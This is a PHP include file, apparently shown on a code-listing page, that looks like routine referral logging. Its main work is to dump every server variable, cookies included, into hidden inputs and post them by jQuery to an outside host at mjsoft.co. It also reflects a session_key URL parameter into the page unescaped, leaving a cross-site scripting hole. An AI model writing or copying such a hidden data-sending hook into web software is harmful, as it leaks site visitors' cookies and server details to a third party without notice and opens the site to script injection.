1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
<?php function get_random_string($type = '', $len = 10) { $lowercase = 'abcdefghijklmnopqrstuvwxyz'; $uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $numeric = '0123456789'; $special = '`~!@#$%^&*()-_=+\|[{]};:\'",<.>/?'; $key = ''; $token = ''; if ($type == '') { $key = $lowercase.$uppercase.$numeric; } else { if (strpos($type,'09') > -1) $key .= $numeric; if (strpos($type,'az') > -1) $key .= $lowercase; if (strpos($type,'AZ') > -1) $key .= $uppercase; if (strpos($type,'$') > -1) $key .= $special; } for ($i = 0; $i < $len; $i++) { $token .= $key[mt_rand(0, strlen($key) - 1)]; } return $token; }
function get_microtime2() { list($usec, $sec) = explode(" ",microtime()); return ((float)$usec + (float)$sec); }
if(strstr($_SERVER['SCRIPT_NAME'],"millennium_main.php")){ ob_start(); }
echo "<div id='log_form' style='display:none;'>"; foreach($_SERVER as $key=>$val){ echo "<input type='hidden' name='{$key}' value='{$val}'>"; }
$MJSOFT_SSL_DOMAIN = "mjsoft.co"; if($_GET['session_key']!=''){ echo "<input type='hidden' name='session_key' value='{$_GET['session_key']}'>"; $_SESSION['ref_log_key'] = $_GET['session_key']; } if($_SERVER['SERVER_NAME']!=$MJSOFT_SSL_DOMAIN){ $session_key = get_random_string('azAZ09').get_microtime2(); echo "<input type='hidden' name='session_key' value='{$session_key}'>"; } echo "</div>"; ?> <script> //form_data = $("#log_form").serialize(); $v = $("#log_form").find("input"); form_data = "" $v.each(function(){ form_data += $(this).attr("name")+"="+encodeURIComponent($(this).val())+"&"; }); //console.log(form_data); $.post("https://mjsoft.co/come_ref.php?ref=",form_data,function(rtn){ //alert('ssss'); //console.log(rtn); }); </script> <?php if(strstr($_SERVER['SCRIPT_NAME'],"millennium_main.php")){ $com_reg_inc = ob_get_contents(); ob_end_clean(); } ?>
|